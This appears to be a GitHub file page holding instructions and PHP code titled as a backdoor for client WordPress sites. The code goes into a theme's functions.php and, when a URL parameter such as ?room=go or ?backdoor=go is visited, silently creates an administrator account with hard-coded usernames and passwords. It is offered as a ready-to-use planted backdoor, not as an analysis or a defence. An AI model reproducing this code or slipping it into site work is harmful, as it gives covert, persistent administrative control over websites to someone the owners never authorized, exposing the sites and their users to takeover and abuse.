-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclientSiteBackDoorCreation.txt
34 lines (26 loc) · 1.01 KB
/
clientSiteBackDoorCreation.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
paste this code in our "active theme" "functions.php" file anywhere.
then it will create a new administrator user to access the site dashboard.
add_action( 'wp_head', 'my_room' );
function my_room() {
if ( md5( $_GET['room'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'anyUserName' ) ) {
$user_id = wp_create_user( 'anyUserName', 'anyPassword' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
https://yoursite.com?room=go
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'minhaz' ) ) {
$user_id = wp_create_user( 'minhaz', 'pass' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
https://yoursite.com?backdoor=go